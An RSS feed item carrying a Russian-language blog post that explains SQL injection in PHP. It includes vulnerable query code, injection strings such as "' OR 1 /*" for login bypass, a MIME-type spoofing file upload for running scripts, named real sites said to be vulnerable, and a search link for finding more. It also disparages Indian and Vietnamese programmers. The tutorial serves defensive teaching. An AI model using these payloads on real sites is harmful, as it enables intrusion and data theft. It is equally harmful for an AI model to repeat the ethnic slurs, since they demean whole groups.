		<description><![CDATA[Почему никогда нельзя доверять пользователю, если Вас беспокоит безопасность Специалисты по безопасности, пожалуй, всем уже проели плешь, говоря о том, что все данные, приходящие от пользователя, нужно тщательно проверять&#8230; Казалось бы, "азбучные истины", этому должны учить в школе . Мне стало интересно: а многие ли сайты действительно защищены? Внимание: материал предоставлен только в ознакомительных/образовательных целях! [...]<hr/>
<p>© 2008–2010 <a href="http://blog.sjinks.pro">Ars Longa, Vita Brevis</a>. Все права защищены. Перепубликация материалов без разрешения автора запрещена.</p>

<p>При использовании материалов блога наличие активной не закрытой от индексирования ссылки на <a
href="http://blog.sjinks.pro/security/9-security-they-talk-so-much-about/">источник</a> <strong>обязательно</strong>.</p>]]></description>
			<content:encoded><![CDATA[<h2><em>Почему никогда нельзя доверять пользователю, если Вас беспокоит безопасность</em></h2>
<p>Специалисты по безопасности, пожалуй, всем уже проели плешь, говоря о том, что все данные, приходящие от пользователя, нужно тщательно проверять&hellip; Казалось бы, "азбучные истины", этому должны учить в школе <img src='http://static.sjinks.info/wp-includes/images/smilies/icon_smile.gif' alt=':-)' class='wp-smiley' />  . Мне стало интересно: а многие ли сайты действительно защищены?<span id="more-9"></span></p>
<p><script type="text/javascript">odl.register(initLightbox);</script></p>
<p style="color: red"><strong>Внимание:</strong> материал предоставлен только в ознакомительных/образовательных целях! Автор не несёт ответственности за всё, что может случиться. Данная статья <strong>не должна</strong> рассматриваться, как практическое руководство по взлому; статья является обзором наиболее типичных ошибок программистов и объясняет, как именно невнимательность разработчиков может служить источником дыр безопасности.</p>
<p>Одна из самых распространённых атак (я не беру DoS, DDoS и иже с ними)&nbsp;&mdash;&nbsp;это SQL Injection Attack.</p>
<p>Как пишет Wikipedia,</p>
<blockquote cite="http://ru.wikipedia.org/wiki/%D0%98%D0%BD%D1%8A%D0%B5%D0%BA%D1%86%D0%B8%D1%8F_SQLL">Инъекция SQL (англ. SQL injection) — один из распространённых способов взлома сайтов и программ, работающих с базами данных, основанный на внедрении в запрос произвольного SQL-кода.
<p>Инъекция SQL, в зависимости от типа используемой СУБД и условий инъекции, может дать возможность атакующему выполнить произвольный запрос к базе данных (например, прочитать содержимое любых таблиц, удалить, изменить или добавить данные), получить возможность чтения и/или записи локальных файлов и выполнения произвольных команд на атакуемом сервере.</p>
<p>Атака типа инъекции SQL может быть возможна из-за некорректной обработки входящих данных, используемых в SQL-запросах.</p></blockquote>
<p>Как уже было сказано, такие атаки проходят из-за недостаточной обработки входных параметров скрипта. Нередки случаи, когда программисты-новички, полагают, что если ID записи&nbsp;&mdash;&nbsp;это число, то скрипт всегда будет получать именно число, а не строку. Простой пример реального кода:</p>
          
<div class="codebox">
    <div class="the_code" style="" id="p943">
        <div class="code php" id="p9code43">
&nbsp; &nbsp; <span class="re0">$id</span> <span class="sy0">=</span> <span class="re0">$_GET</span><span class="br0">&#91;</span><span class="st_h">'id'</span><span class="br0">&#93;</span><span class="sy0">;</span><br />
&nbsp; &nbsp; <span class="re0">$query</span> <span class="sy0">=</span> <span class="st0">&quot;SELECT * FROM <span class="es4">{$members}</span> WHERE id = <span class="es4">$id</span> LIMIT 1&quot;</span><span class="sy0">;</span><br />
&nbsp; &nbsp; <span class="re0">$res</span> <span class="sy0">=</span> <span class="kw3">mysql_query</span><span class="br0">&#40;</span><span class="re0">$query</span><span class="sy0">,</span> <span class="re0">$link</span><span class="br0">&#41;</span><span class="sy0">;</span>
        </div>
    </div>
</div>

<p>Всем хорош код, когда <var>$id</var>&nbsp;&mdash;&nbsp;это число. Например, если скрипт был вызван "script.<a href="http://blog.sjinks.pro/tag/php/" class="st_tag internal_tag" rel="tag" title="Posts tagged with PHP">php</a>?id=123", то запрос принял бы следуюший вид:</p>
          
<div class="codebox">
    <div class="the_code" style="" id="p944">
        <div class="code mysql" id="p9code44">
<span class="kw1">SELECT</span> <span class="sy1">*</span> <span class="kw1">FROM</span> members <span class="kw1">WHERE</span> id <span class="sy1">=</span> 123 <span class="kw1">LIMIT</span> <span class="nu0">1</span>
        </div>
    </div>
</div>

<p>Всё хорошо, но встречаются нехорошие дяди, которые вместо числа могут скормить скрипту всякую каку: для данного простого примера достаточно передать скрипту в параметрах script.<a href="http://blog.sjinks.pro/tag/php/" class="st_tag internal_tag" rel="tag" title="Posts tagged with PHP">php</a>?id=<strong>0</strong>%20<strong>OR</strong>%20<strong>1</strong>, чтобы заставить его выбрать все записи (о том, как обойти LIMIT, чуть ниже). Фактически, запрос будет переписан в виде</p>
          
<div class="codebox">
    <div class="the_code" style="" id="p945">
        <div class="code mysql" id="p9code45">
<span class="kw1">SELECT</span> <span class="sy1">*</span> <span class="kw1">FROM</span> members <span class="kw1">WHERE</span> id <span class="sy1">=</span> 0 <span class="kw10">OR</span> 1 <span class="kw1">LIMIT</span> <span class="nu0">1</span>
        </div>
    </div>
</div>

<p>Так как практически всегда для ID используются автоинкрементные поля, то выражение <code>(id = 0)</code> будет всегда ложно. А <code>(FALSE OR 1)</code>&nbsp;&mdash;&nbsp;всегда истинно.</p>
<p>Даже если запрос содержит <code>LIMIT</code>, это не спасает от выборки произвольной записи: script.<a href="http://blog.sjinks.pro/tag/php/" class="st_tag internal_tag" rel="tag" title="Posts tagged with PHP">php</a>?id=<strong>0</strong>%20<strong>OR</strong>%20<strong>1</strong>%20<strong>LIMIT</strong>%20<strong>A,B/*</strong>%20<strong>--</strong></p>
<p>Вместо A и B&nbsp;&mdash;&nbsp;значения для <code>offset</code> и <code>count</code> соответственно, например:</p>
          
<div class="codebox">
    <div class="the_code" style="" id="p946">
        <div class="code mysql" id="p9code46">
<span class="kw1">SELECT</span> <span class="sy1">*</span> <span class="kw1">FROM</span> members <span class="kw1">WHERE</span> id <span class="sy1">=</span> 0 <span class="kw10">OR</span> 1 <span class="kw1">LIMIT</span> <span class="nu0">5</span><span class="sy2">,</span><span class="nu0">1</span><span class="coMULTI">/*-- LIMIT 1</span>
        </div>
    </div>
</div>

<p>Что примечательно: MySQL успешно выполнит запрос не смотря на то, что комментарий-то не закрыт. А так как <code>/* */</code>&nbsp;&mdash;&nbsp;многострочный комментарий, то запрос отлично выполнится, даже если он многострочный.</p>
<p>Есть и другой метод&nbsp;&mdash;&nbsp;более простой, но не всегда рабочий&nbsp;&mdash;&nbsp;просто передать скрипту нужный id и не ломать голову с запросом. Очевидно, что если скрипт делает выборку не только по id, но и по другому полю (например, <span class="codebox"><code class="mysql"><span class="kw1">WHERE</span> <span class="st0">`id`</span> <span class="sy1">=</span> <span class="st0">'id'</span> <span class="kw10">AND</span> <span class="st0">`member<span class="es1">_</span>id`</span> <span class="sy1">=</span> <span class="st0">'member<span class="es1">_</span>id'</span></code></span>), то простая подмена числа не сработает. А инъекция будет работать.</p>
<p>Сама по себе техника простая, но очень эффективная и деструктивная. Когда я работал над сайтом uk-swingers.com (исправлял баги), я показал заказчику, как из его базы можно было воровать&hellip; номера кредитных карточек с кодами CVV, информацией о владельце и прочими данными. То, что хранение подобной информации в БД запрещено, это другая история&hellip; Да, он шифровал информацию в БД (при помощи алгоритма RC4 <img src='http://static.sjinks.info/wp-includes/images/smilies/icon_smile.gif' alt=':-)' class='wp-smiley' />  ). Да, он стирал 4 средние цифры из номера кредитки (через несколько часов после выполнения транзакции), но был ли в этом смысл? Дело в том, что данные могли быть зашифрованы как угодно, но браузеру они передавались в открытом виде. А номер кредитной карточки можно легко восстановить&nbsp;&mdash;&nbsp;во-первых, можно угадать BIN, исходя из территориальной близости к банку, во-вторых, перебором можно вычислить возможные номера карточки (для валидации номера используется формула Луна). На другом сайте (имя пока открыть не могу) так можно было читать чужие письма и воровать почтовые адреса и пароли (и устраивать кучу других гадостей).</p>
<p>Немного сложнее со строками. Я провел исследование, и выяснил, что если строка передается на сервер из <code>&lt;input type="hidden"&gt;</code>, то она далеко не всегда экранируется (особенно, если авторство кода принадлежит индусам).</p>
<p>Пример с реального сайта (кстати, писали даже не индусы, а вьетнамцы):</p>
          
<div class="codebox">
    <div class="the_code" style="" id="p947">
        <div class="code php" id="p9code47">
&nbsp; &nbsp; <span class="re0">$name</span> <span class="sy0">=</span> <span class="re0">$_REQUEST</span><span class="br0">&#91;</span><span class="st_h">'member'</span><span class="br0">&#93;</span><span class="sy0">;</span><br />
&nbsp; &nbsp; <span class="re0">$query</span> <span class="sy0">=</span> <span class="st0">&quot;SELECT * FROM <span class="es4">{$prefix}</span>profiles WHERE user = '<span class="es4">$name</span>'&quot;</span><span class="sy0">;</span><br />
&nbsp; &nbsp; <span class="re0">$res</span> <span class="sy0">=</span> <span class="kw3">mysql_query</span><span class="br0">&#40;</span><span class="re0">$query</span><span class="sy0">,</span> <span class="re0">$link</span><span class="br0">&#41;</span><span class="sy0">;</span>
        </div>
    </div>
</div>

<p>script.<a href="http://blog.sjinks.pro/tag/php/" class="st_tag internal_tag" rel="tag" title="Posts tagged with PHP">php</a>?member=testdavid</p>
          
<div class="codebox">
    <div class="the_code" style="" id="p948">
        <div class="code mysql" id="p9code48">
<span class="kw1">SELECT</span> <span class="sy1">*</span> <span class="kw1">FROM</span> tuvinh_profiles <span class="kw1">WHERE</span> <span class="kw23">user</span> <span class="sy1">=</span> <span class="st0">'testdavid'</span>
        </div>
    </div>
</div>

<p>Инъекция проходит аналогично: так как строки в MySQL заключаются в одинарные или двойные кавычки, то запрос модифицируется так, чтобы закрыть кавычку:</p>
          
<div class="codebox">
    <div class="the_code" style="" id="p949">
        <div class="code mysql" id="p9code49">
<span class="kw1">SELECT</span> <span class="sy1">*</span> <span class="kw1">FROM</span> tuvinh_profiles <span class="kw1">WHERE</span> <span class="kw23">user</span> <span class="sy1">=</span> <span class="st0">''</span> <span class="kw10">OR</span> <span class="nu0">1</span> <span class="coMULTI">/* &quot; OR 1 /*</span>
        </div>
    </div>
</div>

          
<div class="codebox">
    <div class="the_code" style="" id="p950">
        <div class="code mysql" id="p9code50">
<span class="kw1">SELECT</span> <span class="sy1">*</span> <span class="kw1">FROM</span> tuvinh_profiles <span class="kw1">WHERE</span> <span class="kw23">user</span> <span class="sy1">=</span> <span class="st0">&quot;' OR 1 /* &quot;</span> <span class="kw10">OR</span> <span class="nu0">1</span> <span class="coMULTI">/*</span>
        </div>
    </div>
</div>

<p>Аналогично вышеприведённому примеру, в запрос можно добавить <code>LIMIT</code> и <code>ORDER BY</code>.</p>
<p>Ладно, хватит голой теории, переходим к практике <img src='http://static.sjinks.info/wp-includes/images/smilies/icon_smile.gif' alt=':-)' class='wp-smiley' /><br />
Большую популярность получили сайты, публикующие различные статьи различных авторов: владельцы сайтов получают контент, авторы&nbsp;&mdash;&nbsp;обратную ссылку на свой сайт и возможность показывать свою рекламу. Таких сайтов много: articledashboard.com, articledirectory.com, webarticles.com и т.п.</p>
<p>Один из таких сайтов (articledashboard.com) писали индусы <img src='http://static.sjinks.info/wp-includes/images/smilies/icon_smile.gif' alt=':-)' class='wp-smiley' />  Заинтересовали они меня тем (articledashboard.com, не индусы), что они предлагали скачать "exact software that powers Article Dashboard for FREE". Кто не любит халяву <img src='http://static.sjinks.info/wp-includes/images/smilies/icon_smile.gif' alt=':-)' class='wp-smiley' />  Хотя <a href="http://blog.sjinks.pro/tag/php/" class="st_tag internal_tag" rel="tag" title="Posts tagged with PHP">PHP</a>-код зашифрован ionCube, индусское авторство доказывается наличием огромного файла functions.<a href="http://blog.sjinks.pro/tag/php/" class="st_tag internal_tag" rel="tag" title="Posts tagged with PHP">php</a> (я подобное видел во всех проектах, когда приходилось переделывать код после индусов). А индусы не любят делать <code>addslashes()</code>. Тоже из опыта.</p>
<p>Приведу несколько скриншотов, показывающих наличие уязвимостей на сайте.</p>
<p style="text-align: center"><a href='http://static.sjinks.info/wp-content/uploads/2008/03/success_1.png' rel="lightbox" title='Вот так можно войти с именем "&apos; OR 1 /*" и произвольным паролем'><img src='http://static.sjinks.info/wp-content/uploads/2008/03/success_1.png' alt='success_1.png' /></a></p>
<p>На сайте есть хорошая функция&nbsp;&mdash;&nbsp;загрузка своей аватарки. Казалось бы, что здесь можно сломать? Тем не менее, и описываемая ниже уязвимость сводится к недостаточной обработке входных данных.</p>
<p>Есть очень хороший <a href="https://addons.mozilla.org/en-US/firefox/addon/4498">extension</a> для FireFox, который позволяет подделывать mime-type. То есть фактически мы можем проинструктировать FireFox посылать произвольный файл (например, <a href="http://blog.sjinks.pro/tag/php/" class="st_tag internal_tag" rel="tag" title="Posts tagged with PHP">php</a>) с mime-type, соответствующим изображению (например, image/png). В том случае, если сервер проверяет тип файла только по данным, которые пришли со стороны пользователя, скрипт обманывает сам себя.</p>
<p style="text-align: center"><a href='http://static.sjinks.info/wp-content/uploads/2008/03/success2.png' rel="lightbox" title='Загружаемые файлы тоже всегда нужно проверять'><img src='http://static.sjinks.info/wp-content/uploads/2008/03/success2.png' alt='success2.png' /></a></p>
<p style="text-align: center"><a href='http://static.sjinks.info/wp-content/uploads/2008/03/screen2a.png' rel="lightbox" title='Таким образом можно выполнить произвольный скрипт на чужом сервере'><img src='http://static.sjinks.info/wp-content/uploads/2008/03/screen2a.png' alt='screen2a.png' /></a></p>
<p>И на закуску: <a href="http://www.google.com/search?num=30&amp;hl=en&amp;q=Powered+by+Article+Dashboard&amp;btnG=Search">все эти сайты работают под ArticleDirectory</a>.</p>
<p>А вы говорите, безопасность&hellip;</p>
<p><strong>Мораль сей басни такова:</strong> <strong><em>никогда</em></strong> (еще раз подчёркиваю, <strong><em>никогда</em></strong>) нельзя доверять данным, которые пришли со стороны пользователя. Все данные нужно проверять и при проверках предполагать худшее. Естественно, это увеличивает размер кода и время написания программы. Но лучше заказчику потратить пару сотен долларов на безопасность, чем рвать волосы на голове после обнаружения взлома по факту.</p>
<hr/>
<p>© 2008–2010 <a href="http://blog.sjinks.pro">Ars Longa, Vita Brevis</a>. Все права защищены. Перепубликация материалов без разрешения автора запрещена.</p>

<p>При использовании материалов блога наличие активной не закрытой от индексирования ссылки на <a
href="http://blog.sjinks.pro/security/9-security-they-talk-so-much-about/">источник</a> <strong>обязательно</strong>.</p>
	<h4>Связанные записи</h4>
	<ul class="st-related-posts">
	<li><a href="http://blog.sjinks.pro/security/361-minimizing-consequences-of-http-scans/" title="Минимизируем неприятные последствия HTTP-сканирования (Ноябрь 19, 2008)">Минимизируем неприятные последствия HTTP-сканирования</a> (24)</li>
	<li><a href="http://blog.sjinks.pro/security/362-incorrect-way-to-integrate-payment-gateways/" title="Как не нужно интегрировать платёжные системы (Ноябрь 21, 2008)">Как не нужно интегрировать платёжные системы</a> (8)</li>
	<li><a href="http://blog.sjinks.pro/security/233-vodka-with-phenazepam-or-truth/" title="Водка с феназепамом? Или всё-таки правда? (Июль 16, 2008)">Водка с феназепамом? Или всё-таки правда?</a> (21)</li>
	<li><a href="http://blog.sjinks.pro/security/581-odesk-time-tracker-vulnerabilities/" title="oDesk Time Tracker Vulnerabilities (Июнь 15, 2009)">oDesk Time Tracker Vulnerabilities</a> (2)</li>
	<li><a href="http://blog.sjinks.pro/security/563-vulnerability-in-simple-machines-forum/" title="Уязвимость в форуме SMF (Май 23, 2009)">Уязвимость в форуме SMF</a> (2)</li>
</ul>

]]></content:encoded>
			<wfw:commentRss>http://blog.sjinks.pro/security/9-security-they-talk-so-much-about/feed/</wfw:commentRss>
		<slash:comments>12</slash:comments>
		</item>
	</channel>
</rss>
